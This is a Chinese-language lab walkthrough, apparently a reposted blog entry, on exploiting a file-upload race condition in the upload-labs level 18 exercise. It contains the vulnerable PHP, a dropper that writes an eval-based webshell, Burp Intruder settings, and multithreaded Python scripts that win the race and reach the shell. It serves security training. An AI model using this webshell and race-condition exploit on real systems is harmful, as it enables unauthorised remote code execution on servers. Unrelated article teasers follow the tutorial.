文件上传漏洞之条件竞争

这里拿upload-labs的第18关做演示

在这里插入图片描述

首先先看代码

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

这段代码逻辑是文件上传后先保存文件,然后判断是否符合规则,符合的话改文件名,不符合的话删除文件。

在多线程环境中,可能会存在文件还未来得及删除,我们便访问到该文件,可以以此为切入点执行php语句。

第一步: 首先准备上传的文件,代码的作用是新建一个名字为shell.php,密码为c的webshell后门:

<?php
$file = fopen("shell.php","w");
$payload="<?php @eval(\$_POST['c']); ?>";
fwrite($file,$payload);
fclose($file);
?>

第二步: 上传文件,用burp抓包,发送到intruder模块

在这里插入图片描述

在Position模块把所有变量都Clear掉

然后Payloads里的Payload type设置为NUll payloads,Payload Options设置为Continue indefinitely

在这里插入图片描述

第三步: python脚本不停访问刚才上传的文件

import requestsfor i in range(100000):url="http://192.168.171.30/upload/upload/fopen.php"if requests.get(url).status_code == 200 :print('OK')break

在burp点击Start attack,然后运行python脚本,直到显示OK停止就可以了。

在这里插入图片描述

用蚁剑连接,连接成功:

在这里插入图片描述

在这里插入图片描述

还有另一种方法,只用python脚本上传:

import requests
import concurrent.futures
import threadingdef request(stop_event):url = "http://192.168.171.30/upload/Pass-18/index.php"files = {'upload_file': open('fopen.php', 'rb')}data = {'submit': '上传'}r = requests.post(url=url, data=data, files=files)if requests.get('http://192.168.171.30/upload/upload/fopen.php').status_code == 200:print('OK')stop_event.set()def main():num_requests = 1000max_threads = 100stop_event = threading.Event()with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:for _ in range(num_requests):if not stop_event.is_set():executor.submit(request, stop_event)else:breakprint("Program stopped")if __name__ == "__main__":main()

运行结果:

在这里插入图片描述

总结:文件上传条件竞争就是需要在未删除文件时,访问此文件,以执行代码,可以使用多线程方法批量上传和访问。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/88137.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

九号公司董事长高禄峰:立足科技创新,助力行业发展

从整个电动两轮车发展时间线来看&#xff0c;尽管九号公司2019年才正式进入局电动两轮车市场&#xff0c;但公司凭借智能化入局&#xff0c;在短短三年时间里&#xff0c;已经成长为智能电动两轮车市场的领军者&#xff0c;在这期间&#xff0c;九号公司既没有多年的市场积累&a…

未来科技城携手加速科技 共建集成电路测试公共服务平台!

8月26日&#xff0c;2023未来产业发展大会在杭州未来科技城国际会议中心开幕&#xff01;会上&#xff0c;发布了未来科技城培育发展未来产业行动计划&#xff0c;启动了未来产业发展共同体&#xff0c;进行了未来产业公共服务平台签约仪式。未来科技城与加速科技签约共建集成电…

【Android-Flutter】我的Flutter开发之旅

目录: 0、文档&#xff1a;1、在Windows上搭建Flutter开发环境&#xff08;1&#xff09;[使用中国镜像(❌详细看官方文档)](https://docs.flutter.dev/community/china)&#xff08;2&#xff09;[下载最新版Flutter SDK&#xff08;已包含Dart&#xff09;](https://docs.flu…

呈现数据的精妙之道:选择合适的可视化方法

在当今数据时代&#xff0c;数据可视化已成为理解和传达信息的重要手段。然而&#xff0c;选择适合的数据可视化方法对于有效地呈现数据至关重要。不同的数据和目标需要不同的可视化方法&#xff0c;下面我们将探讨如何选择最佳的数据可视化方法来呈现数据。 1. 理解数据类型&a…

跨足多领域:人脸美颜SDK在医疗、娱乐和安全中的应用案例

随着科技的不断发展&#xff0c;人脸美颜技术不再局限于满足用户的审美需求&#xff0c;而是在医疗、娱乐和安全领域展现出了广泛的应用前景。本文将深入探讨人脸美颜SDK 在这三个领域中的创新应用案例&#xff0c;展示其在不同场景中的独特价值和潜力。 一、医疗领域 1、皮…

8.29一日总结(uni-app)

1.UNI-APP课件uniapp (notion.site)https://secretive-echo-5b2.notion.site/uniapp-4963799e330b4af4b842ccee6e2f62e8 2.链接 a.UNI-APP官网 uni-app快速上手 | uni-app官网 (dcloud.net.cn) b.安装HBuilder: HBuilderX-高效极客技巧 (dcloud.io) b.微信小程序网址:微信开…

PDF制作成翻页电子书

在日常工作中&#xff0c;大部分人使用的都是PDF文档发送给客户&#xff0c;但是PDF文档通常是静态的&#xff0c;缺乏交互性和视觉吸引力。那你有没有想过把它转换成翻页的电子书呢&#xff1f; 小编将告诉你操作步骤&#xff0c;非常简单 1.搜索FLBOOK在线制作电子杂志平台 …

Llama-2大模型本地部署研究与应用测试

最近在研究自然语言处理过程中&#xff0c;正好接触到大模型&#xff0c;特别是在年初chatgpt引来的一大波AIGC热潮以来&#xff0c;一直都想着如何利用大模型帮助企业的各项业务工作&#xff0c;比如智能检索、方案设计、智能推荐、智能客服、代码设计等等&#xff0c;总得感觉…

HRS--人力资源系统(Springboot+vue)--打基础升级--(五)编辑当条记录

今天开发第一步&#xff1a;当前条记录&#xff0c;点击编辑&#xff0c;可以修改数据 1. 首先点击编辑&#xff0c;获取到了当前条的数据&#xff0c;弹出了一个小窗口 这个窗口是不是很熟悉&#xff0c;&#xff0c;没错。。这个窗口跟新增按钮弹出的窗口是同一个的 bug1&am…

Azure - AzCopy学习

使用 AzCopy 将本地数据迁移到云存储空间 azcopy login 创建存储账号 ./azcopy login --tenant-id 40242385-c249-4746-95dc-4a0b64d49dc5这里的—tenant-id 在下面的地方查看&#xff1a;目录 ID&#xff1b;需要拥有Storage Blob Data Owner 的权限账号下可能会有很多目录&am…

亿发浙江生产工厂信息化建设管理平台,实现生产智能化、数字化

在全球化、科技深刻变革的时代&#xff0c;浙江省信息化建设正迎来新的发展机遇。以物联网、人工智能大数据、为代表的新技术应用&#xff0c;为人类社会带来了智能、便捷&#xff0c;也标志着新一代信息化浪潮已经到来。特别是在生产型企业中&#xff0c;智能制造是生产型企业…

ACE_Proactor

服务端代码&#xff1a; #include "stdafx.h" #include <iostream> #include "ace/Message_Queue.h" #include "ace/Asynch_IO.h" #include "ace/OS.h" #include "ace/Proactor.h" #include "ace/Asynch_Accept…